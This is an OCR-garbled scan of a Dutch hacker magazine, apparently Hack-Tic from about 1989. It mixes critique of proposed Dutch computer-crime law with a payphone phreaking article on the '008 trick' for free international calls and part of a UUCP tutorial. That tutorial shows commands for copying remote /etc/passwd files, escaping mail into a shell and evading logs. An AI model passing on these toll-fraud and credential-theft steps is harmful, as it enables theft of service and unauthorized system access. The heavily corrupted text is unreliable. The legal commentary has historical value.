b. In het iweede Ed komen de
aanhefl en het eerste onderdecl te
luiden:

2. Het aarste lid Is nlet van toepas-
sing op het altappen of cpnemen:
- 1. van door midde! van een
redio-elacirische ontvangin-
richiing onivangen gegevens,
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tanzl} om de onlvangst moge-
itk te maken een bijzondere
inspanning Is geleverd of een
niat toegestane omvangin-
richiing Is gebruikt,

Verder wordt in de overige delen
van het artikel siceds telefonie ver-
vangen door telecommunicatie.

Dit artikel is hét *afluisterartikel’.
Ook hicrin wordt de strafbaarheid
van het afluisteren van geaprekken
vervangen door het altappen van (e-
lccommunicatie. de toelichting zegt
hier: Allc signalen in de ether zijn in
principe vrij e ontvangen. Uitzon-
dering vormen de gesprekken die via
het normale telefoonnct worden ge-
voerd maar die ergens in de verbin-
ding door middcl van ecn straalver-
binding worden doorgegeven. De
minister schrijft oader meer letter-
lijk: "lemand die telefoncert kan niet
en behoeft nict te weten op welke
wijze de PTT het door hem gevoerde
gesprek overdraagl. (..) De tefe-
foongesprekken, gevoerd met toe-
stellen die fysick zijn aangeskolen op
het telefoonnet, mogen nict worden
algeluisterd, indicn zij crgens in het
pad van overdracht via straalzenders
worden overgedragen.”

Verder biedt de toelichting enige
duidclijkheid omtrent het begrip
'‘bijzondere inspanning’: *Zo zal ook
het afluisteren van telefoongesprek-
ken, gevoerd uit de anto (dus met
behulp van een radio-electrische
ontvanginrichting) niet straibaar
zijn, zolang dit met con enkele ont-
vanginrichting  plaatsvindl. Zou
evenwel icmand besluiten door ecn
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heel stelsel van ontvanginrichlingen
die op elkaar zijn afgestemd, stelsel-
matig autotclefoonverkeer af te luis-
teren, dan is dit een bijzondere in-
spaoning in de zin van het voorge-
stelde artikel endus nict toegestaan.”

"Bvenzo is verboden het opvan-
gen van telecommunicatie via de
ether met bohulp van niet tocgestanc
ontvangapparatuur. De artikelen
G.1.1.en G.1.2. van het besluit radio-
electrische inrichlingen {Stb. 1988,
552) bepaalt dat behoudens machti-
ging satelictontvangers en decodeer-
apparatunr niet zijn locgestaan. Te-
lefoonverkeer via satelicten is dus
beschermd.”

“De voorgestelde wijzigingen in
de artikelen 139a tot en met 139¢
hebben tevens gevolgen voor Lelkens
het laatste lid in deze artikelen, met
name voor wat betreft de bevoegd-
heden van de Binncnlandse Veilig-
heidsdienst. Daar waar de strafrech-
telijke bescherming van telecommu-
nicatic wordt uitgebreid, is het no-
dig, met inachtneming van de proce-
dureke waarborgen in deze artikelen
gegeven, de mogelijkheden van deze
dienst in stand te laten om in het
belang van de veiligheid van de staat
kennis te nemen van bepaalde aldus
overgedragen gogevens.”

Hicr worden zin en onzin op ge-
niale wijze mel etkaar verweven, De
minister maakt zich hier terecht be-
zorgd over de mogelijkheid om met
cen netwerk van ontvangers hele net -
werken Le overzicn en zo dus alle

gesprekken op te vangen. Het op-
vangen van autotelefoongesprekken



wordt niet strafbaar gesteld, maar
het georganiscerd opvangen van
ALLE  auwtolelefoongesprekken
wel. Het kjkt ons correct gerede-
neerd dat het opvangen van alle ge-
sprekken het veel makkelifker maakt
om ook allc gesprekken van cen of
mecrdere abonnees af te luisteren.
Dezelide mogelijkbeden gelden
voor het georgamiseerd afluisteren
van straalverbindingen.

Maar juist nu wordt een uitzonde-
ring gemaakt voor de enige dienst
dic de mankracht, het geld en de
perversiteit in huis heeft om zo'n
project ook werkelijk uit te voeren,
de BVD. Juist een dienst als de BVD
is wat betreft bet afinisteren van te-
lefoongesprekken al bijzonder moei-
lijk (of helemaal nict) te controleren.
De BVD mag officleel alleen tele-
foongesprekken afluisteren met toe-
stemming van de Minister-President
en de ministers van Algemene Za-
ken, Bisnenlandse Zaken en Ver-
keer en Watcrstaal. Deze loestem-
ming is dan 3 maanden geldig.

Als we de BVD uitdrukkelijk de
bevoegdheid geven om door middel
van ecn cigen nctwerk bijna alic in-
terlokale telefoongesprekken en alle
autotelefonic op te vangen kunnen
we met de farce van parlcmentaire
controle wel helemaal ophouden: de
dienst heeft dan helemaal geen me-
dewerking van de PTT of wie dan
ook meer nodig en kan "preventicf"
maar gelijk de hele bevolking afluis-
teren. Wie gelooft dat de BVD nict
van de haar op deze manier geboden
mogelijkheden gebruik gaat maken

{c.q. al lang maakt) is knettergek of
crg natcl,

Artlkel 139e

Het eerste lid stelt strafbaar het
bezit van ecn voorwerp waarop, naar
hij weet of redelijkerwijs moet ver-
moeden, gegevens zin vastgelegd
die door wederrechtelijk afluisteren,
aftappen of opnemen van ccn ge-
sprek, telecommunicatie of andere
gegevensoverdrachl door een geau-
tomaliscerd werk zijn verkregen,
Met een beetje fantasie is dit dus
toepasbaar op een sysop van ecn
BBS die (wellicht zonder dat hij het
weet) informatic op zijn systcem
heeft staan die wederrechtelijk is ’af-
getapt’. Het gaat hier om een gevan-
genisstraf van maximaal zes maan-
den of een geldbocte van de vierde
calegorie.

Het tweede lid stelt het opzette-
lijk aan anderen bekend maken van
zulke gegevens strafbaar,

Artikel 16tsexles

Hif die opzettelifk enig geauioma-
tiseerd werk voor opslag of ver-
werking van gegevens of enlg
wark voor telacommunicatle ver-
nledl, beschadigt, of onbruikbaar
maakt, stoornis In de gang of In de
werking van zodanig werk vercor-
zaakt, of een ten opzichte van zo-
danig werk genomen vellighelds-
maairegel verijdell, wordt gestraft:

Lees verder op pagina 34
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Gratlis bellen in cellen deel 111

The Key en Peter Poelman onthullen de "008-truuk®

Na het cersie deel, vaarin cen me-
thode om gralis te bellen et een
toondialertje In de schaarse fele-
feoncel die dan niet begreep dat dat
geld kosite (zie Hack-Tic 2) en het
tweede deel dat eem methode he-
schreef om door middel van een kiel-
ne chirurgische Ingveep onder in de
kast van de telefooncel gratls (e bel-
ken is hier de voerloplge climax n de
serie: Hack-Tic presenteert "de 008-
truak’.

Sinds er in telefooncellen geen
(verbrande restjes) telefoonboeken
meect hangen is het vanuit bijna alle
openbare telefooncellen in Neder-
land mogelijk om gratis 008 te bellen.
Je moet dan wel cerst geld inwerpen,
maar het bedrag blijft staan, Het bel-
len van 008 genereert echier wel de-
gelijk kostentikken en dus moet erin
de celiets zitten dat die kostentikken
ncgeert als er 008 gekozen is,

Bij vcel celien die op cen
toon{/TDK)centrale hangen is het
mogelijk om via de hoorn mel cen
memokiczer (ook wel DTMF-dialer,
7ic verder) het gewenste nummer le
kiczen. Maar wat had je er aan als die
ccl daarna toch om geld begon te
zeuren?

Als je echier geld inwerpt, daarna
mel de dialer het gewenste nunmmer
belt en dan (voor de cerste kostentik
binnenkomt) 008 intikt op het toet-
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senbordje van de cel zelf dan denkl

de cel dat je met 008 beht terwijl jij

ondertussen met de VS aan de lijn
hangt. De cel negoert vervolgens alle
binncnkomende kostentikken (en

heeft peen argwaan als het er 2000

zijn)! Ergo: na cen internationaal ge-

sprok van 2 uur krijg jij je kwartje
weer terug,

Deze truuk werkt niet:

@ Als de cel op een pulscentrale is
aangesloten (of de cel zelf puls-
kiest maakl niet wit)

e Als het een kaartcel betreft, Dit
omdat kaartcellen het microfoon-
tje afshiiten voordat er een ver-
binding tot stand is gekomen.

@ Als ze er al iets aan gedaan heb-
ben.

De nare kant van dit verkaak de
PIT heelt door dat er lets niet in de
hansk Is. Wat konden ze doen:

e Alle cellen zo instellen dat 008
niet meer gratis te bellen is. Dit is
makkelijk te docn daar het binnen
in het apparaat ccn kwestic is van
cen ander jumpertje op de print.
Het nadeel van deze sirategic is
dat het irrilaties bij de klant ople-
vert (zeker als zij/hy maar 1
kwartjc op zak heelt) en de PTT
nict nog meer afbreuk aan haar al
zo klantvricndelijke imago kan
gebruiken,



® Bij afic cellen de microfoon blok-
keren voordat het gesprek begint.
Hoewel het 1 extra diode in de cel
betrefl is dit VEEL werk als je het
vermenigvuldigt met het aantal
telefooncellen in Nederland.

Bij alle cellen de toonkiesmoge-
lijkheid uvitzetten in de centrale,
Op cen moderne centrale kan na-
melijk de toonkiesmogelijkheid
voor één specificke [ijn worden
uitgezet (dal deden ze wroeger
ook als je niet betaalde voor een
PTT-TDK toestel), Dit is dan ook
de tol nu toe in enkele grote ste-
dea door de PTT gevolgde sirate-
gie, Hoewel een nadeol is dat de
paar cellen die 'op toon kozen'
weer terug op puls moeten wor-
den gezel ncemt men dit waar-
schijnlijk maar voor lief,

Mct andere woorden: tref je cen
ccl die nict luistert naar de hem in-
gefluisterde DTMPF toontjes dan kon
het wel eens zijn dat ome PTT je voor
is geweest m welk geval je op zoek
nmtoet nasr een andere cet (er staan
er nog genoeg!)

Hoe kom je aan zo'n toonkiczer?
gewoon kopen voor een paar tientjes
{nict meer dan 30 gulden betalen) bij
een niet-PTT telefoonwinkel, Als je
een zo compleet mogelijke ljst wilt
hebben waarin staat welke cellen op
welke manipulatiemethoden reage-
ren zow je kunnen schrijven op de
advertentic van -RPE- dic nu in
Hack-Tichckjes staat (pagina39). Je
moet dan wel eerst zelf even de straat
op om de cellen bij jou in de buurt te
onderzocken!
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1. met gevangenisstraf van ten
hoogsta zes maanden of geld-
boete van de vijfde catagoria,
indllen daardoor verhindering
of bemoaeliifking van de opsiag

of verwerking van gegevens
ten algemenen nuite of stoor-

nis in de talecommunicatie-in-
frastructuur onistaal;

" 2. met gevangenisstraf van ten
hoogste zes Jaran of geldboe-
te van de villde categorie, in-
dian daarvan gemesn gevaar
voor goederen of voor de ver-
lering van diensten te duchiten
is;

3. met gavangenisstral van ten
hoogste negen faren of geid-
boate van de viffde categorle,
indien daarvan levensgevaar
voor een ander te duchien is;

4. mat gavangenisstraf van ten
hoogste vijftfen faran of gald-
boate van de vijfde categorie,
indien cdaarvan lavensgevaar
voor een ander te duchten Is
en het laft iamands dood ten
gevolge heeft.

Artikel 161septies
Hij aan wiens schuld tewlfien is dat
anig geautomatiseard werk voor
opsiag of verwerking van gege-
vens of voor telecommunicelie
wordt varnield, baschadigd, of on-
brutkbaar gemaakt, dat stoormis in
de gang of de warking van zodanig
wark ontstaat, of dat een ten op-
zichte van zodanig werk genomen
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vail/gheldsmaatregel wordt verwij-
derd, wordt gesiraft:
1. met gevangenissiraf of
hechienis van len hoogste
drie maandan of een geidbos-
te van de vierde calegorie, in-
dlen daardoor verhindering of
bemoslijking van de opsiag of
verwerking van gegevens ten
nitte, stoornis in de
telecommuni/catie-infrastruc-
tuur, of gemeen gevaar voor
goederan of voor de veriening
van diensten onistaat.
2. mat gevangenisstral of
hachtenis van ten hoogste zes
maanden of een geldboete
van de vierde categorie, In-
dien daardoor levensgevaar
vOoOr sen ander onisiaat.

3. met gevangenisstral of
hechtanis vanten hoogste een
jear of geidboeta van de vier-
dle categorie, indlen het felt le-
mands dood tot gevolg heeft.

Het komt er dus op ncer dal
161sexies is voor opzettelijk versto-
ren van de telecommunicatie en
161septies voor degene aan wiens
schuld het te wijten is. De minister
zegt in zijn toclichting overwogen te
hebben allcen op zich al strafbare
verstoringen van de lelecom met
deze artikclen strafbaar te maken,
zodat bijvoorbeeld cen staker bij de
PTT nict met deze welten te maken
krijgt, maar, zo zegt hij: "De moder-
ne samenleving is echler in toene-
mende mate afhankelijk van het on-
gestoord functioneren van voorzie-



ningen als die van de telecommuni-
catic-infrastructunr, Daarnaast ma-
ken de onitwikkelingen in de tech-
nick het steeds meer mogelijk ook
met geringe inzet van personeel toch
de telecommunicatic-infrastructuur
te laten blijven fumctioneren.”

Het lijkt ons dat het personeel van
de PTT hicr wel een hele zware tol
betaalt voor de antomalisering, een
staking heeft immers weinig zin als
nict bepaalde onderdelen van de te-
lecommunicatie-infrastructuur kun-
nen worden verstoord. Daar ook
nict-strafbare verstoringen van de
telecommunicatie-infrastructunr
stralbaar zijn is het wel de vraag in
hoeverre de PTT-1op zelf immuun is
voor vervolging. Als vaorbeeld de
grote ‘Henny-Huisman-telefoonsto-
ring’ van cen aantal jaren geleden.
De PTT-top lict hier het te verdie-
nen geld prevaleren boven het func-
tioneren van het telefoonnet. Aange-
zicn hier menscnlevens in gevaar wa-
ren zou de veraniwoordelijke PTT-
topman dus maximaal zes maanden
gevangenis kunnen krijgen. Goed, zo
ver zal het wel niet komen.

Het is natuurlijk wel eng dat een
hele simpele manoeuvre binnen de
computers die het telefoonnet bestu-
ren al snel als cen "levensgevaarlijke’
siluatic wordt gezien. Het is hier
vooral een zaak van definitics: ver-
spreiding van kennis omtrent de
werking van het telefoonnet moet
nict als strafbaar en gevaarligk pezien
gaan worden, beveiligingen van dit
soorlsystemen moeien zeker niel ge-
baseerd zijn op onwelendheid aan

de kant van de indringer, want de
mensen die het werkelijk willen we-
ten komen er toch wel achter hoe het
allemaal werkt.

Artikel 232

1. Hij die opzettelifk een betaalpas
of waardekaart bedoeld voor het
varrichten van betalingen langs
geautomatiseorde weg, valseilfk
opmaakt of vervaist, mat het 0og-
merk zichzelf of een ander te be-
voordelen, wordt gesiraft heizif
met aen gevangenissiral van ten
hoogste zes Jaran en een geldboe-
te van de viffde categorie, of met
aen van deze straffen.

2. Mot dezelfde straf word! gestraft
hil die oprettelifk een belaalpas of
waardekaart ten agnzien waarvan
het misdriff Is gepleegd, bedoeld
als in het eerste Iid, gebrulkt als
ware hif echt en orvervalst.

In de toelichting onder meer de
klassicker: "De wenselijkheid om
een bizondere bepaling op te nemen
vindt ziyn weerslag daarin dat som-
mige betaalkaarten of waardepassen
zo zijn ingericht dat deze veelvuldige
wijzigingen kunnen ondergaan, by
voorbeeld met het oog op de indica-
tie van het tegoed dat de betrokkenc
nog op ecn rekening heeft staan.”

Wij zowden graag van de minister
vernemen welke kaartexploitanten
nog zo stom ziin om het tegoed van
de klant in de magnetische informa-
tie op de kaart zelf te schrijven.
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Artikel 350a

Hi die opzettelifk en wedarraciie-
litk gegevens die door middel van
gon geautomstiseerd weark zijin op-
geslagen, worden verwerkt of
ovargedragen, verandert, wist, on-
brulkbear of ontoegankelijk maekt,
danwel andere gegevens daaraan
tosvoegt wordt gesiraft met
gevangenissiral van ten hoogsie
twoee jaren of geidboele van de
vierde catasgorie.

Hier is het dus van belang de klei-
ne lettertjes te lezen. Byj al te letter-
lijke interpretatie is het inloggen op
veel computersystemen dus op zich
nict alleen cen overtreding van het
voorgestelde artikel 138a (zie al-
daar) maar ook van dit artikel, aan-
gezien je immers in veel gevallen iets
toevocgt aan de log-file. Het moet
duidelijk zijn dat gegevens hier nict
de log-file of andere, duidelijk "zich-
zelf' automatisch veranderende [iles
betreft.

Dan nu de voorgestelde wijzi-
gingen in het wetboek van stralvor-
dering. Dit wetbock regek onder an-
dere de plichten en beperkingen van
de politie bij haar taak.

Artlkel 125f/g/h
Regelt het gerechtchijk afluiste-

ren van telecommuonicatic (en dus
nict alleen tekefoongesprekken).

Artikel 1251

1. Tijdens hat gerachtalfk vooron-
derzoek kan de rechter-commis-
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sarfs het bovel geven dat hil van
wie redelijkerwijs kan worder ver-
moed dat hij toegang hesft fot be-
paalde gegevens die kunnen die-
nen om de waerheid aan de dag te
brenigen, deze gegevens, voor 20-
var deze zifn opgesiagen, worden
verwerkt of overgedragen met ga-
brulkmaking van een geautomati-
seard wevk, zal vastieggen, hem
daertoe toegang 2al verlenen of
naar de gritfie van de rechtbank zal
overbrengen een en ander binnen
de termifn en op de wijze bif het
beval te bapalen.
2, Hoet bevel kan slechts betrekking
hebban op gegevens
1. die door de vardachte zifn
Ingevoerd, voor hem zifn be-
stemd, voorwarp van hat straf-
baar felt utmaken of tot het

begaan dagivan hebben ge-
diend,

- 2. waarover de verdachte de
hescivkking heeft of

3. die een baschrijving geven
van handefingen die o8 ver-
dachie met betrekking tot aan
geaulomatiscard werk heeft
varricht,

3. Het bevel wordt mondellfk of
schriftelifk gegeven. In het laatste
geval word! het betekend.

Dit is een geheel nicuw artikel dat
aan de rechter-commissaris tiyjdens
een gerechielipk vooroederzoek de
machi geclt om gegevens die in cen
compuler zijn opgeslagen op te ¢i-
sen. Het betreft nict alleen de gege-



vens van de verdachte zell maar alle
gegevens die hij tot zipn beschikking
heeft. In het geval van bijvoorbeeid
cen Bulletin Board Systeem kan dit
dus alle publieke Ffiles betreffen.
Verder kunnen logfiles opgeeist
worden,

Artikel 125}
1. in geval van een huisroeking

kan In een elders aenwezig gesai-
tormatiseerd werk onderzoek wor-

den gedaan nagr gegevens dle
kunnen dienen om de waarheld
aan de dag te brengen. Worden
dergelijke gegevens aangeirofien
dan kunnen zif worden vasige-
lagd.

2. Hat onderzoek kan slechts wor-
den gedaan, indren eon dargeiljk
geautomatiseard werk vanal de
plaats waar de huiszoeking wordt
gedaan op rechimatige wijze toe-
gankelllk is voor de parsonen die
aldaar wonen, pltegen te warken of
te varblijven.

(-}

In de toekiching staat "op recht-
matige wijze tocgankeink’ verduide-
lijkt als: "Hier moet echier eca ver-
taalslag worden gemaakt. Tocgang
tot clders zich bevindende geauto-
matiseerde werken is in de regel ver-
leend aam bepaalde personen die tol
toegang zijn geautoriseerd, bij voor-
beeld met behulp van ¢en PIN-code.
De toegang ts dusgebonden aan per-
soncn en niet aan locaties. Verder
zijn vanaf een locatie in beginsel alle

geautomatiseerde werken die via de
lelecommunicatic benaderbaar zign,
tocgankehjk.”

Dit is ons inziens het gevaarlijkste
artikel in de hele nieuwe wetgeving.
Het maakt het mogelijk om bijvoor-
beckd BBScn te onderzockea dic
met het hele misdrijf niets van doen
hebben met als enige rechtvaardi-
ging dat de verdachte ze wellicht ge-
bruikte als communicatiemiddel. Dit
is te vergelijiken met het docnvaneen
inval bij de PTT als iemand hun tele-
fooncentrales gebruikt om een mis-
daad te plegen. Gevolg zal onvermij-
delijk zijn dat sysops van BBScn zich
genoodzaakt zien om censuur toe te
passen op hun systccm om maar
geen last te krijgen. Verder is het de
vraag of sysops het nog aandurven
om ¢e prive-post van hun gebruikers
nied te lezen, aangezien ook prive-
berichien onder deze welgeving val-
len. Het is nict k¢ doen om mel ecn
kudde polticmensen bij een sysop
binnen te vallen en 'gegevens vast tc
leggen’ zonder daarby de privacy
van de andere gebruikers van het
systeem (die met het hele misdriif,
net als de sysop zclf, niets van doen
hebben) ernstig aan te tasten.

Het is verder maar te hopen dat
deze wel niet gebruikt gaat worden
om "lashige’ BBScn de mond te snoe-
ren: als je de politie regelmatig over
de vioer hebt of 'even’ je systeem
voor onderzoek kwijt bent is het op
zijn zachtst gezegd laslig om ecn
BBS te runnen. Lees ook het artikel
van Emmanuel Goldstein (elders in
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deze Hack-Tic) over de ellende dic
vit dit soort wetlen kan voortkomen.

Artikel 125k

Voor zover het belang van het on-
derzoek Oit bepaaidellfk vorden,
kan bij een hulsroeking of bif toe-
passing van artikel 125] lot degeen
van wie redeiffkerwijs kan worden
varmoad dat hif kernis draagt van
de wijze van bevefliging van een
geautomatiseerd werk, het bevel
worden gericht toagang le ver-
schaffen tot de aanwezige geauto-
matisearce werken of defen daar-
van. Dageen tot wie het bevel is
gericht, kan hleraan gevolg geven
door de kernnis omirent de bevelll-
ging tar baschikking te stellen.

Dit wil dus bijvoorbeeld zeggen
dat een beheerder van een systeem
gedwongen kan wordem eventuele
wachtwoordbeveiligingen enjof co-
deringen ongedaan te maken, Je
kunt voor het niet gehoorzamen aan
dit bevel 3maanden in de gevangenis
belanden of cen geldboete van de
tweedc categoric krijgen,

~ Artikel 125i/m

Dezc arlikelen regelen onder
meer dat de artikelen 1251 en 125k
nict kunnen worden toegepast op
mensen met een beroeps-, ambts- of
standsgeheim en niet op de verdach-
te zelf (dic immers volgens de wet
nict hoeft mee te werken aan zijn
eigen veroordeling).
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Artikel 125n
Gegevens die nict van belang zijn
voor het onderzoek mocten worden
vernietigd, en een proces-verbaal
van deze vernicliging wordl bij de
processtukken gevoegd,

Artikel 592

Kosten van het uitleveren of over-
breagen van informatie ingevolge
een bevel van de rechter-commissa-
ris of van de officier van justitie wor-
den door de staat vergoed.

Als laatste ook de wijzigingen in
het burgerlijk wetbock.

Artikel 391

Wordt zodanig gewijzigd dat cen
jaarversiag van ecn onderneming nu
ook een verkiaring ontrent de veihg-
heid van de compuiersystemen moel
bevatten. Zo zouden directies ge-
dwongen worden cven stil te staan bij
computerbeveiliging.

Dit was een greep uit de voorge-
stclde wetten, Het is belangrijk om je
stem te laten horen voordat we hier
cen klimaal hebben waarin mensen
mel modems maar beter hun mond
kunncn houden, Keep on hackin’



# Phweakers opgeleti Help mes aan de

verzameling telsfooncellen. Wal ik
zoek Is gegevena zoals lokatlecel-
nurmimae, scart o jgewoon of drie-
hoek), soort toesiel [gewoon, kaart,
aredit card, metalen of kwartjesvan-
ster), kiessystesm ven het toestel
(toon of puls) sn of de microfaon s
algesioten bY het opnemen van de
hoorn over nederfandse islefoanoel-
len. Gaarne sturen naar Pastous
3385, 3003 AJ Rotterdam. Eventuele
dishos stuur I terug fmet huldige ver-
zamelingl). Ik za) ook regeimalig de
file uplosden op de Rabelbox. -RPE-

We west hoe jo asn talsfooncal kunt
belen. De PTT gosh fos dat het kan
(DOB ontkent hat echier), maar ze wii-
borr de nummers nist vrijgeven. {Eike
¢4l heatt oon elgen regisiailecods, af
to lezen onder het 06-11 nummer).
Voor reactle, sohrijf of bal: Mark A
Murkes, Erasmusetrant 80, 7412 DR
Devantes, Telsloon: 03700-18807.

Wie heatft voor mi] het pragrammaom
ds sourcs van thisf ine ikien? Ofwie
haaft asn runnend progr. van de
thiet? Opsturen nasr Erk Bals, Diepe
Steeg 40, 6984 CD D» Steeg (Qkd).
Verzendkosten worden vorgoed,

k ben ap zosk naar meer Informatie
over de CODEX L.5.1.96 V20 Modem
{mauals aic). FRullmalereai/vergos-
ding mogefijk. Udo van den Heuvsl,
Molanstraat 27, 4285 AA Woudsl-
<ham,

3%

# Bel ook eens 07G-36423584 voor Para-

nolds Clinlo Haok/Phreak BBS

# Een moord pa computer... ls tal

mogeligk? Leas het in het bosk 'Reken
niet op ona’ van Danké ds Roulat.

Hack-Tlo lmzess kunnen het voor de
apeciale prils van £13,50 besatsllen op
glionummer 2424940 Ln.v. Raviln,
Amsterdam o.v.v. Reken nist op ons.

#  Dexe recuctiebon levert £2,50 korting

op als je near de HCC-beurs gaat, Wi}
ptasn op stand KB7.5. Dit Jaar Iv de
HOCC-beurs dus sindelllk weer eens
de mosile waard! Coplesr deze bon
voor al je vrlenden,
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UUCP, what'sin it for me ?

Docl van dit artike): de hacker die al enig verstand heeft van UMNIX verder bekend 1e maken
met UUCT (spreck ull; joc-Joc-sle-pic). Als je nlet weet wat UNIX Is, gool dun dit artikel wey
en Jecr brelen.

UUCP staat voor Unix to Unix CaPy, UUCP {met hoofdleiters) & ¢2n verzameling program-
ma's dic het mogelijk maken informatie uit te wisselen tussen verschillende UNLX-sysiemen. Jo
kuat oua. files uitwissclen, commando’s op andere syslemen witvocren, en post vermluren over
de gehele wereld. Verder kun je ook naar andere (non-UNIX)systemen ulibellen, en jo kual
gebruik maken van informatic-nctwerken als USENET.

Het leuke van UUCP is, dat het standaard op ledere UNIX aanwezlg Is. UNIX 2ou UNIX
mict zijn, als er ook hier weer geen verschillende versics van bestonden, de bekendste zip de
BNU(basic networks utils)-Versie en de version-2 versie, Ze verschillen nlet zoveel. Als Je nlet
rekerweet met welke versie je e maken bebt, kijk dan cens |a directory fusr/libfuucp. Alser cen
bestand met de naam ‘systems’ sanwezlg [5, dan heb je te maken mel BNLI, slaat ereen bestond
dat Lsys heet, dan heb je te maken et vorsloni.

De info indie artike] Is uitgeiest op system V en BSD 4.3, de twee meest bekende UNILX-sys-
bemsen, maar het kan zijn dat jouw systeem weer net iels anders werkl, ze rolzooien maar aan in
compuleriand.. Hier volgen wat vitdrukkingen dic Je zal tegenkemen als je je wal meer n
UUCP/UNIX verdiept:

BNU  Basic Networking Utilities. Ben bundel communicsieprogramma's

daeman cen programma dat "in de achiesgrond’ draait

sode  cenander systeem op cen nelwerk, cen eindstation

remote de naam zegt het al: Bet systeem wasrmee je contact will opeemen

wucico  speciale shell voor uwecp, hierin beland je vaak aks j¢ inlogt met wucp, password nucp.
UUCP In hoofdietters: de UNIX metworking utilitics

uup  lakicine letters ; et programma Unix-to-Unix-CoPy.

UUCRP inleiding...

Voorwe echt asn deslag gaan, is bet cerst handig om cca paar commando’s te kenncn: deze

commando's zijn op iedere UNIX stawdaacd annwezig:

nsadl UNIX mit Facility om berichten te sturen naar andese gebrulkers op een UUCE
netwerk.

cu hicrmes kun je uitbellen naar andere systemen, en tegelijkertijd ingelogd blijven
op je lokale systeem. (op BSD heet co teouwens tip) (Nool: dit commanda is vaak
(mict altijd) afgeschermd voor normale users, maer atuurlifk alet voor 1001)

wucp  Mel dit commando kua je remote filetransfers ultvoeren, sucp maakt files aan dic de
transfer beschrijven ('work’ files), en roept dan de uucico daemon aan om hel die
transfer wit te voeren.

uux (Unix to, Unix eXecuie) tnst je commando’s op een remote systeem witvoeren. (1ol
op 2¢kere hoogte dea, de meeste "nuitige’ commando's zijn disabled)

uuname Geeft je de namen van alle andere systemen dle aan jouw netwerk vastzitten. Ak je
de naam van de computer waar je zelf opzit nict weet (kna voorkomen nictwanr),
krijg je die te zien met nosame -1.

ualog  Last je hel uucp-logfile zien van ecn remote sysieem. (ledere UUCP-actie wordt sl.
ook gelogd..)

uustat  Lant jc de stalus van [¢ wux-requeats zien. Ook kun je bicrmee de Inhowd van de
UL P-qucuc veranderen.
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Sysiem V keat nog twee catra programmas

uuio  Hiermee kun je files naar ¢en andere user sturen, ongeveer nel zoicis als ket mall-com-
mando,

wupick  Hiermee kun je files lezen die naar jou oe zijn gexonden met het wido-commando,

BSD 4.3 wilde nlet achterblijven, dus die kent er cok twee extra:

ung Hiermee kon je UUCP-jobs bekijken ¢n veranderen, lljki cen op sy-V's usplck program -
ma

wuserd  Netzoiets als usto op sys-V, Je kunt files versturen nase andere systemien.

Zo, de basis helbben we gehad, nu de modems ul de kast en aan de slag:

uuname

Dit is de gemakkelifkste : gewoon uename inlikken en het systeem spuugt cen lijst uil van
alic sysicmen dic aan jouw netwerk hangen. Sta je op die andere systemen ook In de userdfist,
dan kun je vanaf jouw sysicem bv inloggen med rlogin (syntax: rlogin <hostnasm®>, zonder
passwd 1

malil

Mect mail (de naam zegt het al) stuur je berichten naarandere gebruikers. Niet echi brutkbaar
voor de gemiddelde kacker, tenzi] [e vit een shell wikk breken (mal ang jezelf sturen en met Ish
breek je wil e shell).

Je kunt ook een berichije van roct ann andere gebruikers sturen. Waich 1t ; zender van mail
naar andere systemen wordt gelogd! Bovendien: het steat altijd cen beetje slordig als een
account, dat alleen wordt gebruikt door de 65-jarige tante van de direkiesr opeens mail vlt alle
hocken van de aardbol keljgt... Oplossing: logfile veranderen, manr daar heb je meestal root-
ptivs voor nodig. Stel, je wilt mail sturen aan ene Bush op een systeem dat Pentagon heet dan
doe je dat als volgt:

nail Pantagonibush

Hallo Mr. Bush, just wanted to say that 1 1iked your hair.

[ bel your wife does your hair huh 7 Tough job { suppose..

Love, The Dude “D (Dit is cen comrol-D, end-of-file teken In UNIX)

Boven de medl kemt alijd je systeemnaam, accountaaam eic. te staan, dus pas goed op, want
dit kan Je je account kosten. Een file als mall verzenden doe je als voigt : B.v, om bet file "peace’
naar bush te verzeaden :

mail Pentagonlbush <paacas

Met unx kun je hicrmee by ecn passwd-file van een andec systeem naar jezel isten mailen,
ik kom hier later nog op terug. Om mail te lezen tik je in: mail . Je krijgt dan een '? prompt,
tik een vrangicken in om alle oplics te bekijken. 1.ces je de mail van lemand anders (foeil), dan
is het raadzaam o mail met %' e veriaten, het bericht wordt dan namelijk niet gewist,
(Hack-regel ar.1 : geen data wissen of veranderen)

uucp

Een van de eerste dingen die je natuurlijl will proberen als je merkt dat je op een netwerk
2t (uuname, weet je wel 2), is slle fetcfpasewd-files van sndere systemen naar jezelf toshalen.
Hoewel de passwords er alifjd gecrypt instaan, kunnen ze toch waardevolle info bevatlen
(usemames, cic). Bovendica is hel leuk om mdruk te maken op je vrieadin of d2 BVD of zo.
Helaas zijn (sommige) sysicembeheerders ook niet gek : de fete! diwectory is dan afgeschermd.
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Een oplossing daarvoor Is soms /etc/passwd te kopiefren naar by, fusrspool/uucppublic met
het wax-commando. De uncp syniax om cen e te verzenden ks
uucp {optias] <lokale filenaam> <ramote systomnaam>
Voorbeeldje: siel je wilt een programena met de nasm 'trojrn’ van jouw systeem overzenden
naar cen systeem met de naam 'Pentagon’ in de directory Yfuse/spoolfuncppublic/oush' :
uuep trojan Pantagoni fusx/spaool /uncppublic/bush
D'e sucp sysniax om een file te ontvangen is:
uuop [cpties] <remote pad> <lokaal directory>
Weer even con voorheeldje, stel je wilt het passoed-file van het Pentagon ontvangen, en je zil
op ecn systeem met de naam Siospson @ wucp Pemtagonl/cte/pasewd Stmpsoniusc/hacke rfimp/
Fre optles bl het commando vucp zi|n:

-C copicert het bokale source-fila naar de spool directory voordnt er iets verzonden gaal
wordan.

-f breckt de filetranster of, als cem opgegeven directory wiet besiaat. staat deze oplic ui,
dan crelert vucp die dicociory; nlet 2o snugger als je met cen hack bezig bent...

-3 laat het UUCP-job request nwmmer zden. Is soms handig als je uostet gebruskt om
ULUCP Jobs in d& quewe te rerouten & man|puleren.

-u zend ¢en bericht naar de gebruiker via mail als de transfer kiaar is, niet exg ann ic

bevelea voor cen creatieve data-travelier, want alle inkomende mall wordt pelog-

ped..

~n<pser> geclt cen stintje aan de vser op het remote systeem als de transfer geslangd [5. Al
je niet inziet hoo stom het is om deze te gebruileen, verkoop daa je computer en
wordt wasmachinereperaténr.

-r ueu¢ de opdracht, neem nog geen contact op met het remole systecm.
—a<file> redirect de ULUCP status berichten naar een bestand. Handig als je vitlogt, ea later
de resudtaten will beklfcen. '
uux

Met wux kua je commando's en programma’s op andere systemen nitvoeren, cca  eff
handige optic. Dit vinden de meeste sysicemmanagers blijkbaar ook, want  bijna ieder syslecm
heefi dit commando beperkt (cat, Is etc Is meesial niet  mogelijk). Do toegestane commando’s
